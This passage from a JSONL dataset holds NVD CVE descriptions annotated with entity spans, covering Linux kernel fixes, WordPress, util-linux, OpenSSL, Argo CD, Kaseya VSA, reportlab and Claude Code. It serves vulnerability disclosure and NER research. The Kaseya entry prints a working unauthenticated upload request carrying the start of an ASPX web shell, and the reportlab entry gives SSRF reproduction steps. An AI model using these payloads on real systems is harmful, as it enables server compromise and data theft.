{\n  unsigned char *p1 = mmap(ADDR1, SIZE, PROT_READ|PROT_WRITE,\n      MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED_NOREPLACE, -1, 0);\n  if (p1 == MAP_FAILED)\n    err(1, \"mmap 1\");\n  unsigned char *p2 = mmap(ADDR2, SIZE, PROT_NONE,\n      MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED_NOREPLACE, -1, 0);\n  if (p2 == MAP_FAILED)\n    err(1, \"mmap 2\");\n  *p1 = 0x41;\n  printf(\"first char is 0x%02hhx\\n\", *p1);\n  unsigned char *p3 = mremap(p1, SIZE, SIZE,\n      MREMAP_MAYMOVE|MREMAP_FIXED, p2);\n  if (p3 == MAP_FAILED) {\n    printf(\"mremap() failed; first char is 0x%02hhx\\n\", *p1);\n  } else {\n    printf(\"mremap() succeeded; first char is 0x%02hhx\\n\", *p3);\n  }\n}\nuser@horn:~/big_mremap$ gcc -static -o test test.c\nuser@horn:~/big_mremap$ setarch -R ./test\nfirst char is 0x41\nmremap() failed; first char is 0x00\n```\n\nWith the patch:\n\n```\nuser@horn:~/big_mremap$ setarch -R ./test\nfirst char is 0x41\nmremap() succeeded; first char is 0x41\n```", "spans": {"FILEPATH: test.c": [[1284, 1290], [2194, 2200]], "FILEPATH: stdlib.h": [[1321, 1329]], "FILEPATH: stdio.h": [[1341, 1348]], "FILEPATH: err.h": [[1360, 1365]], "FILEPATH: mman.h": [[1381, 1387]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53111"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ngeneve: fix header validation in geneve[6]_xmit_skb\n\nsyzbot is able to trigger an uninit-value in geneve_xmit() [1]\n\nProblem : While most ip tunnel helpers (like ip_tunnel_get_dsfield())\nuses skb_protocol(skb, true), pskb_inet_may_pull() is only using\nskb->protocol.\n\nIf anything else than ETH_P_IPV6 or ETH_P_IP is found in skb->protocol,\npskb_inet_may_pull() does nothing at all.\n\nIf a vlan tag was provided by the caller (af_packet in the syzbot case),\nthe network header might not point to the correct location, and skb\nlinear part could be smaller than expected.\n\nAdd skb_vlan_inet_prepare() to perform a complete mac validation.\n\nUse this in geneve for the moment, I suspect we need to adopt this\nmore broadly.\n\nv4 - Jakub reported v3 broke l2_tos_ttl_inherit.sh selftest\n   - Only call __vlan_get_protocol() for vlan types.\n\nv2,v3 - Addressed Sabrina comments on v1 and v2\n\n[1]\n\nBUG: KMSAN: uninit-value in geneve_xmit_skb drivers/net/geneve.c:910 [inline]\n BUG: KMSAN: uninit-value in geneve_xmit+0x302d/0x5420 drivers/net/geneve.c:1030\n  geneve_xmit_skb drivers/net/geneve.c:910 [inline]\n  geneve_xmit+0x302d/0x5420 drivers/net/geneve.c:1030\n  __netdev_start_xmit include/linux/netdevice.h:4903 [inline]\n  netdev_start_xmit include/linux/netdevice.h:4917 [inline]\n  xmit_one net/core/dev.c:3531 [inline]\n  dev_hard_start_xmit+0x247/0xa20 net/core/dev.c:3547\n  __dev_queue_xmit+0x348d/0x52c0 net/core/dev.c:4335\n  dev_queue_xmit include/linux/netdevice.h:3091 [inline]\n  packet_xmit+0x9c/0x6c0 net/packet/af_packet.c:276\n  packet_snd net/packet/af_packet.c:3081 [inline]\n  packet_sendmsg+0x8bb0/0x9ef0 net/packet/af_packet.c:3113\n  sock_sendmsg_nosec net/socket.c:730 [inline]\n  __sock_sendmsg+0x30f/0x380 net/socket.c:745\n  __sys_sendto+0x685/0x830 net/socket.c:2191\n  __do_sys_sendto net/socket.c:2203 [inline]\n  __se_sys_sendto net/socket.c:2199 [inline]\n  __x64_sys_sendto+0x125/0x1d0 net/socket.c:2199\n do_syscall_64+0xd5/0x1f0\n entry_SYSCALL_64_after_hwframe+0x6d/0x75\n\nUninit was created at:\n  slab_post_alloc_hook mm/slub.c:3804 [inline]\n  slab_alloc_node mm/slub.c:3845 [inline]\n  kmem_cache_alloc_node+0x613/0xc50 mm/slub.c:3888\n  kmalloc_reserve+0x13d/0x4a0 net/core/skbuff.c:577\n  __alloc_skb+0x35b/0x7a0 net/core/skbuff.c:668\n  alloc_skb include/linux/skbuff.h:1318 [inline]\n  alloc_skb_with_frags+0xc8/0xbf0 net/core/skbuff.c:6504\n  sock_alloc_send_pskb+0xa81/0xbf0 net/core/sock.c:2795\n  packet_alloc_skb net/packet/af_packet.c:2930 [inline]\n  packet_snd net/packet/af_packet.c:3024 [inline]\n  packet_sendmsg+0x722d/0x9ef0 net/packet/af_packet.c:3113\n  sock_sendmsg_nosec net/socket.c:730 [inline]\n  __sock_sendmsg+0x30f/0x380 net/socket.c:745\n  __sys_sendto+0x685/0x830 net/socket.c:2191\n  __do_sys_sendto net/socket.c:2203 [inline]\n  __se_sys_sendto net/socket.c:2199 [inline]\n  __x64_sys_sendto+0x125/0x1d0 net/socket.c:2199\n do_syscall_64+0xd5/0x1f0\n entry_SYSCALL_64_after_hwframe+0x6d/0x75\n\nCPU: 0 PID: 5033 Comm: syz-executor346 Not tainted 6.9.0-rc1-syzkaller-00005-g928a87efa423 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/29/2024", "spans": {"FILEPATH: /net/geneve.c": [[1006, 1019], [1095, 1108], [1139, 1152], [1201, 1214]], "FILEPATH: /linux/netdevice.h": [[1249, 1267], [1309, 1327], [1513, 1531]], "FILEPATH: /core/dev.c": [[1356, 1367], [1419, 1430], [1472, 1483]], "FILEPATH: /packet/af_packet.c": [[1574, 1593], [1614, 1633], [1682, 1701], [2500, 2519], [2550, 2569], [2618, 2637]], "FILEPATH: /core/skbuff.c": [[2249, 2263], [2297, 2311], [2402, 2416]], "FILEPATH: /linux/skbuff.h": [[2335, 2350]], "FILEPATH: /core/sock.c": [[2460, 2472]], "FILEPATH: /29/2024": [[3164, 3172]], "FILEPATH: l2_tos_ttl_inherit.sh": [[816, 837]], "FILEPATH: socket.c": [[1732, 1740], [1787, 1795], [1831, 1839], [1867, 1875], [1912, 1920], [1970, 1978], [2668, 2676], [2723, 2731], [2767, 2775], [2803, 2811], [2848, 2856], [2906, 2914]], "FILEPATH: slub.c": [[2102, 2108], [2144, 2150], [2204, 2210]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[3098, 3104], [3105, 3111], [3127, 3133], [3155, 3161]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35973"}}
{"text": "The WP Maps plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'location_id' parameter in all versions up to, and including, 4.9.1. This is due to the plugin's database abstraction layer (`FlipperCode_Model_Base::is_column()`) treating user input wrapped in backticks as column names, bypassing the `esc_sql()` escaping function. Additionally, the `wpgmp_ajax_call` AJAX handler (registered for unauthenticated users via `wp_ajax_nopriv`) allows calling arbitrary class methods including `wpgmp_return_final_capability`, which passes the unsanitized `location_id` GET parameter directly to a database query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.", "spans": {"SYSTEM: WordPress": [[23, 32]], "VULNERABILITY: SQL Injection": [[67, 80]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-3222"}}
{"text": "util-linux is a random collection of Linux utilities. Prior to version 2.41.4, a TOCTOU (Time-of-Check-Time-of-Use) vulnerability has been identified in the SUID binary /usr/bin/mount from util-linux. The mount binary, when setting up loop devices, validates the source file path with user privileges via fork() + setuid() + realpath(), but subsequently re-canonicalizes and opens it with root privileges (euid=0) without verifying that the path has not been replaced between both operations. Neither O_NOFOLLOW, nor inode comparison, nor post-open fstat() are employed. This allows a local unprivileged user to replace the source file with a symlink pointing to any root-owned file or device during the race window, causing the SUID binary to open and mount it as root. Exploitation requires an /etc/fstab entry with user,loop options whose path points to a directory where the attacker has write permission, and that /usr/bin/mount has the SUID bit set (the default configuration on virtually all Linux distributions). The impact is unauthorized read access to root-protected files and block devices, including backup images, disk volumes, and any file containing a valid filesystem. This issue has been patched in version 2.41.4.", "spans": {"FILEPATH: /usr/bin/mount": [[169, 183], [919, 933]], "FILEPATH: /etc/fstab": [[796, 806]], "SYSTEM: Linux": [[37, 42], [999, 1004]], "VULNERABILITY: symlink": [[643, 650]], "VULNERABILITY: TOCTOU": [[81, 87]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27456"}}
{"text": "The Flux Operator is a Kubernetes CRD controller that manages the lifecycle of CNCF Flux CD and the ControlPlane enterprise distribution. Starting in version 0.36.0 and prior to version 0.40.0, a privilege escalation vulnerability exists in the Flux Operator Web UI authentication code that allows an attacker to bypass Kubernetes RBAC impersonation and execute API requests with the operator's service account privileges. In order to be vulnerable, cluster admins must configure the Flux Operator with an OIDC provider that issues tokens lacking the expected claims (e.g., `email`, `groups`), or configure custom CEL expressions that can evaluate to empty values. After OIDC token claims are processed through CEL expressions, there is no validation that the resulting `username` and `groups` values are non-empty. When both values are empty, the Kubernetes client-go library does not add impersonation headers to API requests, causing them to be executed with the flux-operator service account's credentials instead of the authenticated user's limited permissions. This can result in privilege escalation, data exposure, and/or information disclosure. Version 0.40.0 patches the issue.", "spans": {"SYSTEM: Kubernetes": [[23, 33], [320, 330], [848, 858]], "VULNERABILITY: information disclosure": [[1130, 1152]], "VULNERABILITY: privilege escalation": [[196, 216], [1086, 1106]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23990"}}
{"text": "The X509_V_FLAG_X509_STRICT flag enables additional security checks of the certificates present in a certificate chain. It is not set by default. Starting from OpenSSL version 1.1.1h a check to disallow certificates in the chain that have explicitly encoded elliptic curve parameters was added as an additional strict check. An error in the implementation of this check meant that the result of a previous check to confirm that certificates in the chain are valid CA certificates was overwritten. This effectively bypasses the check that non-CA certificates must not be able to issue other certificates. If a \"purpose\" has been configured then there is a subsequent opportunity for checks that the certificate is a valid CA. All of the named \"purpose\" values implemented in libcrypto perform this check. Therefore, where a purpose is set the certificate chain will still be rejected even when the strict flag has been used. A purpose is set by default in libssl client and server certificate verification routines, but it can be overridden or removed by an application. In order to be affected, an application must explicitly set the X509_V_FLAG_X509_STRICT verification flag and either not set a purpose for the certificate verification or, in the case of TLS client or server applications, override the default purpose. OpenSSL versions 1.1.1h and newer are affected by this issue. Users of these versions should upgrade to OpenSSL 1.1.1k. OpenSSL 1.0.2 is not impacted by this issue. Fixed in OpenSSL 1.1.1k (Affected 1.1.1h-1.1.1j).", "spans": {"SYSTEM: OpenSSL": [[160, 167], [1322, 1329], [1426, 1433], [1442, 1449], [1496, 1503]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-3450"}}
{"text": "Zope is an open-source web application server. This advisory extends the previous advisory at https://github.com/zopefoundation/Zope/security/advisories/GHSA-5pr9-v234-jw36 with additional cases of TAL expression traversal vulnerabilities. Most Python modules are not available for using in TAL expressions that you can add through-the-web, for example in Zope Page Templates. This restriction avoids file system access, for example via the 'os' module. But some of the untrusted modules are available indirectly through Python modules that are available for direct use. By default, you need to have the Manager role to add or edit Zope Page Templates through the web. Only sites that allow untrusted users to add/edit Zope Page Templates through the web are at risk. The problem has been fixed in Zope 5.2.1 and 4.6.1. The workaround is the same as for https://github.com/zopefoundation/Zope/security/advisories/GHSA-5pr9-v234-jw36: A site administrator can restrict adding/editing Zope Page Templates through the web using the standard Zope user/role permission mechanisms. Untrusted users should not be assigned the Zope Manager role and adding/editing Zope Page Templates through the web should be restricted to trusted users only.", "spans": {"URL: https://github.com/zopefoundation/Zope/security/advisories/GHSA-5pr9-v234-jw36": [[94, 172]], "URL: https://github.com/zopefoundation/Zope/security/advisories/GHSA-5pr9-v234-jw36:": [[854, 933]], "SYSTEM: Python": [[245, 251], [521, 527]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32674"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/ntfs3: Validate buffer length while parsing index\n\nindx_read is called when we have some NTFS directory operations that\nneed more information from the index buffers. This adds a sanity check\nto make sure the returned index buffer length is legit, or we may have\nsome out-of-bound memory accesses.\n\n[  560.897595] BUG: KASAN: slab-out-of-bounds in hdr_find_e.isra.0+0x10c/0x320\n[  560.898321] Read of size 2 at addr ffff888009497238 by task exp/245\n[  560.898760]\n[  560.899129] CPU: 0 PID: 245 Comm: exp Not tainted 6.0.0-rc6 #37\n[  560.899505] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014\n[  560.900170] Call Trace:\n[  560.900407]  <TASK>\n[  560.900732]  dump_stack_lvl+0x49/0x63\n[  560.901108]  print_report.cold+0xf5/0x689\n[  560.901395]  ? hdr_find_e.isra.0+0x10c/0x320\n[  560.901716]  kasan_report+0xa7/0x130\n[  560.901950]  ? hdr_find_e.isra.0+0x10c/0x320\n[  560.902208]  __asan_load2+0x68/0x90\n[  560.902427]  hdr_find_e.isra.0+0x10c/0x320\n[  560.902846]  ? cmp_uints+0xe0/0xe0\n[  560.903363]  ? cmp_sdh+0x90/0x90\n[  560.903883]  ? ntfs_bread_run+0x190/0x190\n[  560.904196]  ? rwsem_down_read_slowpath+0x750/0x750\n[  560.904969]  ? ntfs_fix_post_read+0xe0/0x130\n[  560.905259]  ? __kasan_check_write+0x14/0x20\n[  560.905599]  ? up_read+0x1a/0x90\n[  560.905853]  ? indx_read+0x22c/0x380\n[  560.906096]  indx_find+0x2ef/0x470\n[  560.906352]  ? indx_find_buffer+0x2d0/0x2d0\n[  560.906692]  ? __kasan_kmalloc+0x88/0xb0\n[  560.906977]  dir_search_u+0x196/0x2f0\n[  560.907220]  ? ntfs_nls_to_utf16+0x450/0x450\n[  560.907464]  ? __kasan_check_write+0x14/0x20\n[  560.907747]  ? mutex_lock+0x8f/0xe0\n[  560.907970]  ? __mutex_lock_slowpath+0x20/0x20\n[  560.908214]  ? kmem_cache_alloc+0x143/0x4b0\n[  560.908459]  ntfs_lookup+0xe0/0x100\n[  560.908788]  __lookup_slow+0x116/0x220\n[  560.909050]  ? lookup_fast+0x1b0/0x1b0\n[  560.909309]  ? lookup_fast+0x13f/0x1b0\n[  560.909601]  walk_component+0x187/0x230\n[  560.909944]  link_path_walk.part.0+0x3f0/0x660\n[  560.910285]  ? handle_lookup_down+0x90/0x90\n[  560.910618]  ? path_init+0x642/0x6e0\n[  560.911084]  ? percpu_counter_add_batch+0x6e/0xf0\n[  560.912559]  ? __alloc_file+0x114/0x170\n[  560.913008]  path_openat+0x19c/0x1d10\n[  560.913419]  ? getname_flags+0x73/0x2b0\n[  560.913815]  ? kasan_save_stack+0x3a/0x50\n[  560.914125]  ? kasan_save_stack+0x26/0x50\n[  560.914542]  ? __kasan_slab_alloc+0x6d/0x90\n[  560.914924]  ? kmem_cache_alloc+0x143/0x4b0\n[  560.915339]  ? getname_flags+0x73/0x2b0\n[  560.915647]  ? getname+0x12/0x20\n[  560.916114]  ? __x64_sys_open+0x4c/0x60\n[  560.916460]  ? path_lookupat.isra.0+0x230/0x230\n[  560.916867]  ? __isolate_free_page+0x2e0/0x2e0\n[  560.917194]  do_filp_open+0x15c/0x1f0\n[  560.917448]  ? may_open_dev+0x60/0x60\n[  560.917696]  ? expand_files+0xa4/0x3a0\n[  560.917923]  ? __kasan_check_write+0x14/0x20\n[  560.918185]  ? _raw_spin_lock+0x88/0xdb\n[  560.918409]  ? _raw_spin_lock_irqsave+0x100/0x100\n[  560.918783]  ? _find_next_bit+0x4a/0x130\n[  560.919026]  ? _raw_spin_unlock+0x19/0x40\n[  560.919276]  ? alloc_fd+0x14b/0x2d0\n[  560.919635]  do_sys_openat2+0x32a/0x4b0\n[  560.920035]  ? file_open_root+0x230/0x230\n[  560.920336]  ? __rcu_read_unlock+0x5b/0x280\n[  560.920813]  do_sys_open+0x99/0xf0\n[  560.921208]  ? filp_open+0x60/0x60\n[  560.921482]  ? exit_to_user_mode_prepare+0x49/0x180\n[  560.921867]  __x64_sys_open+0x4c/0x60\n[  560.922128]  do_syscall_64+0x3b/0x90\n[  560.922369]  entry_SYSCALL_64_after_hwframe+0x63/0xcd\n[  560.923030] RIP: 0033:0x7f7dff2e4469\n[  560.923681] Code: 00 f3 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 088\n[  560.924451] RSP: 002b:00007ffd41a210b8 EFLAGS: 00000206 ORIG_RAX: 0000000000000002\n[  560.925168] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f7dff2e4469\n[  560.925655] RDX: 0000000000000000 RSI: 0000000000000002 RDI:\n---truncated---", "spans": {"DOMAIN: rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org": [[677, 721]], "FILEPATH: /01/2014": [[724, 732]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[632, 636]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50442"}}
{"text": "In Point to MultiPoint (P2MP) scenarios within established sessions between network or adjacent neighbors the improper use of a source to destination copy write operation combined with a Stack-based Buffer Overflow on certain specific packets processed by the routing protocol daemon (RPD) of Juniper Networks Junos OS and Junos OS Evolved sent by a remote unauthenticated network attacker causes the RPD to crash causing a Denial of Service (DoS). Continued receipt and processing of these packets will create a sustained Denial of Service (DoS) condition. This issue affects: Juniper Networks Junos OS 19.2 versions prior to 19.2R3-S2; 19.3 versions prior to 19.3R2-S6, 19.3R3-S2; 19.4 versions prior to 19.4R1-S4, 19.4R2-S4, 19.4R3-S3; 20.1 versions prior to 20.1R2-S2, 20.1R3; 20.2 versions prior to 20.2R2-S3, 20.2R3; 20.3 versions prior to 20.3R2. This issue does not affect Juniper Networks Junos OS versions prior to 19.2R1. Juniper Networks Junos OS Evolved 20.1 versions prior to 20.1R3-EVO; 20.2 versions prior to 20.2R3-EVO; 20.3 versions prior to 20.3R2-EVO.", "spans": {"ORGANIZATION: Juniper": [[293, 300], [578, 585], [881, 888], [933, 940]], "VULNERABILITY: Stack-based Buffer Overflow": [[187, 214]], "VULNERABILITY: Denial of Service": [[424, 441], [523, 540]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-31383"}}
{"text": "UltraJSON is a fast JSON encoder and decoder written in pure C with bindings for Python 3.7+. Versions 5.10 through 5.11.0 are vulnerable to buffer overflow or infinite loop through large indent handling. ujson.dumps() crashes the Python interpreter (segmentation fault) when the product of the indent parameter and the nested depth of the input exceeds INT32_MAX. It can also get stuck in an infinite loop if the indent is a large negative number. Both are caused by an integer overflow/underflow whilst calculating how much memory to reserve for indentation. And both can be used to achieve denial of service. To be vulnerable, a service must call ujson.dump()/ujson.dumps()/ujson.encode() whilst giving untrusted users control over the indent parameter and not restrict that indentation to reasonably small non-negative values. A service may also be vulnerable to the infinite loop if it uses a fixed negative indent. An underflow always occurs for any negative indent when the input data is at least one level nested but, for small negative indents, the underflow is usually accidentally rectified by another overflow. This issue has been fixed in version 5.12.0.", "spans": {"SYSTEM: Python": [[81, 87], [231, 237]], "VULNERABILITY: denial of service": [[593, 610]], "VULNERABILITY: integer overflow": [[471, 487]], "VULNERABILITY: buffer overflow": [[141, 156]], "VULNERABILITY: infinite loop": [[160, 173], [393, 406], [871, 884]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32875"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/vkms: Fix memory leak in vkms_init()\n\nA memory leak was reported after the vkms module install failed.\n\nunreferenced object 0xffff88810bc28520 (size 16):\n  comm \"modprobe\", pid 9662, jiffies 4298009455 (age 42.590s)\n  hex dump (first 16 bytes):\n    01 01 00 64 81 88 ff ff 00 00 dc 0a 81 88 ff ff  ...d............\n  backtrace:\n    [<00000000e7561ff8>] kmalloc_trace+0x27/0x60\n    [<000000000b1954a0>] 0xffffffffc45200a9\n    [<00000000abbf1da0>] do_one_initcall+0xd0/0x4f0\n    [<000000001505ee87>] do_init_module+0x1a4/0x680\n    [<00000000958079ad>] load_module+0x6249/0x7110\n    [<00000000117e4696>] __do_sys_finit_module+0x140/0x200\n    [<00000000f74b12d2>] do_syscall_64+0x35/0x80\n    [<000000008fc6fcde>] entry_SYSCALL_64_after_hwframe+0x46/0xb0\n\nThe reason is that the vkms_init() returns without checking the return\nvalue of vkms_create(), and if the vkms_create() failed, the config\nallocated at the beginning of vkms_init() is leaked.\n\n vkms_init()\n   config = kmalloc(...) # config allocated\n   ...\n   return vkms_create() # vkms_create failed and config is leaked\n\nFix this problem by checking return value of vkms_create() and free the\nconfig if error happened.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[83, 94], [113, 124]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50269"}}
{"text": "Argo CD is a declarative continuous deployment for Kubernetes. Argo CD Cluster secrets might be managed declaratively using Argo CD / kubectl apply. As a result, the full secret body is stored in`kubectl.kubernetes.io/last-applied-configuration` annotation. pull request #7139 introduced the ability to manage cluster labels and annotations. Since clusters are stored as secrets it also exposes the `kubectl.kubernetes.io/last-applied-configuration` annotation which includes full secret body. In order to view the cluster annotations via the Argo CD API, the user must have `clusters, get` RBAC access. **Note:** In many cases, cluster secrets do not contain any actually-secret information. But sometimes, as in bearer-token auth, the contents might be very sensitive. The bug has been patched in versions 2.8.3, 2.7.14, and 2.6.15. Users are advised to upgrade. Users unable to upgrade should update/deploy cluster secret with `server-side-apply` flag which does not use or rely on `kubectl.kubernetes.io/last-applied-configuration` annotation. Note: annotation for existing secrets will require manual removal.", "spans": {"DOMAIN: kubectl.kubernetes.io": [[196, 217], [400, 421], [986, 1007]], "SYSTEM: Kubernetes": [[51, 61]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-40029"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: musb: dsps: Fix the probe error path\n\nCommit 7c75bde329d7 (\"usb: musb: musb_dsps: request_irq() after\ninitializing musb\") has inverted the calls to\ndsps_setup_optional_vbus_irq() and dsps_create_musb_pdev() without\nupdating correctly the error path. dsps_create_musb_pdev() allocates and\nregisters a new platform device which must be unregistered and freed\nwith platform_device_unregister(), and this is missing upon\ndsps_setup_optional_vbus_irq() error.\n\nWhile on the master branch it seems not to trigger any issue, I observed\na kernel crash because of a NULL pointer dereference with a v5.10.70\nstable kernel where the patch mentioned above was backported. With this\nkernel version, -EPROBE_DEFER is returned the first time\ndsps_setup_optional_vbus_irq() is called which triggers the probe to\nerror out without unregistering the platform device. Unfortunately, on\nthe Beagle Bone Black Wireless, the platform device still living in the\nsystem is being used by the USB Ethernet gadget driver, which during the\nboot phase triggers the crash.\n\nMy limited knowledge of the musb world prevents me to revert this commit\nwhich was sent to silence a robot warning which, as far as I understand,\ndoes not make sense. The goal of this patch was to prevent an IRQ to\nfire before the platform device being registered. I think this cannot\never happen due to the fact that enabling the interrupts is done by the\n->enable() callback of the platform musb device, and this platform\ndevice must be already registered in order for the core or any other\nuser to use this callback.\n\nHence, I decided to fix the error path, which might prevent future\nerrors on mainline kernels while also fixing older ones.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[631, 655]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47436"}}
{"text": "FileRise is a self-hosted web file manager / WebDAV server. In versions prior to 3.8.0, the WebDAV upload endpoint accepts any file extension including .phtml, .php5, .htaccess, and other server-side executable types, bypassing the filename validation enforced by the regular upload path. In non-default deployments lacking Apache's LocationMatch protection, this leads to remote code execution. When files are uploaded via WebDAV, the createFile() method in FileRiseDirectory.php and the put() method in FileRiseFile.php accept the filename directly from the WebDAV client without any validation. In contrast, the regular upload endpoint in UploadModel::upload() validates filenames against REGEX_FILE_NAME. This issue is fixed in version 3.8.0.", "spans": {"FILEPATH: FileRiseDirectory.php": [[459, 480]], "FILEPATH: FileRiseFile.php": [[505, 521]], "ORGANIZATION: Apache": [[324, 330]], "VULNERABILITY: remote code execution": [[373, 394]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33071"}}
{"text": "An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language=\"C#\" Debug=\"true\" validateRequest=\"false\" %> <%@ Import namespace=\"System.Web.UI.WebControls\" %> <%@ Import namespace=\"System.Diagnostics\" %> <%@ Import namespace=\"System.IO\" %> <%@ Import namespace=\"System\" %> <%@ Import namespace=\"System.Data\" %> <%@ Import namespace=\"System.Data.SqlClient\" %> <%@ Import namespace=\"System.Security.AccessControl\" %> <%@ Import namespace=\"System.Security.Principal\" %> <%@ Import namespace=\"System.Collections.Generic\" %> <%@ Import namespace=\"System.Collections\" %> <script runat=\"server\"> private const string password = \"pass\"; // The password ( pass ) private const string style = \"dark\"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.", "spans": {"IP_ADDRESS: 192.168.1.194": [[683, 696]], "FILEPATH: /SystemTab/uploader.aspx": [[210, 234], [504, 528], [2024, 2048], [2129, 2153]], "FILEPATH: shellz.aspx": [[538, 549], [656, 667]], "VULNERABILITY: arbitrary file upload": [[271, 292], [2413, 2434]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-30118"}}
{"text": "All versions of package reportlab are vulnerable to Server-side Request Forgery (SSRF) via img tags. In order to reduce risk, use trustedSchemes & trustedHosts (see in Reportlab's documentation) Steps to reproduce by Karan Bamal: 1. Download and install the latest package of reportlab 2. Go to demos -> odyssey -> dodyssey 3. In the text file odyssey.txt that needs to be converted to pdf inject <img src=\"http://127.0.0.1:5000\" valign=\"top\"/> 4. Create a nc listener nc -lp 5000 5. Run python3 dodyssey.py 6. You will get a hit on your nc showing we have successfully proceded to send a server side request 7. dodyssey.py will show error since there is no img file on the url, but we are able to do SSRF", "spans": {"IP_ADDRESS: 127.0.0.1": [[414, 423]], "FILEPATH: dodyssey.py": [[496, 507], [612, 623]], "VULNERABILITY: Server-side Request Forgery": [[52, 79]], "VULNERABILITY: SSRF": [[81, 85], [701, 705]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-28463"}}
{"text": "Claude Code is an agentic coding tool. Claude Code extensions in VSCode and forks (e.g., Cursor, Windsurf, and VSCodium) and JetBrains IDEs (e.g., IntelliJ, Pycharm, and Android Studio) are vulnerable to unauthorized websocket connections from an attacker when visiting attacker-controlled webpages. Claude Code for VSCode IDE extensions versions 0.2.116 through 1.0.23 are vulnerable. For Jetbrains IDE plugins, Claude Code [beta] versions 0.1.1 through 0.1.8 are vulnerable. In VSCode (and forks), exploitation would allow an attacker to read arbitrary files, see the list of files open in the IDE, get selection and diagnostics events from the IDE, or execute code in limited situations where a user has an open Jupyter Notebook and accepts a malicious prompt. In JetBrains IDEs, an attacker could get selection events, a list of open files, and a list of syntax errors. Claude released a patch for this issue on June 13th, 2025. Although Claude Code auto-updates when a user launch it and auto-updates the extensions, users should take the following steps, though the exact steps depend on one's integrated development environment (IDE). For VSCode, Cursor, Windsurf, VSCodium, and other VSCode forks, check the extension Claude Code for VSCode. Open the list of Extensions (View->Extensions), look for Claude Code for VSCode among installed extensions, update or uninstall any version prior to 1.0.24, and restart the IDE. For JetBrains IDEs including IntelliJ, PyCharm, and Android Studio, check the plugin Claude Code [Beta]. Open the Plugins list, look for Claude Code [Beta] among installed extensions, update or uninstall any version prior to 0.1.9, and restart the IDE.", "spans": {"SYSTEM: Android": [[170, 177], [1480, 1487]], "ORGANIZATION: JetBrains": [[125, 134], [767, 776], [1432, 1441]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-52882"}}
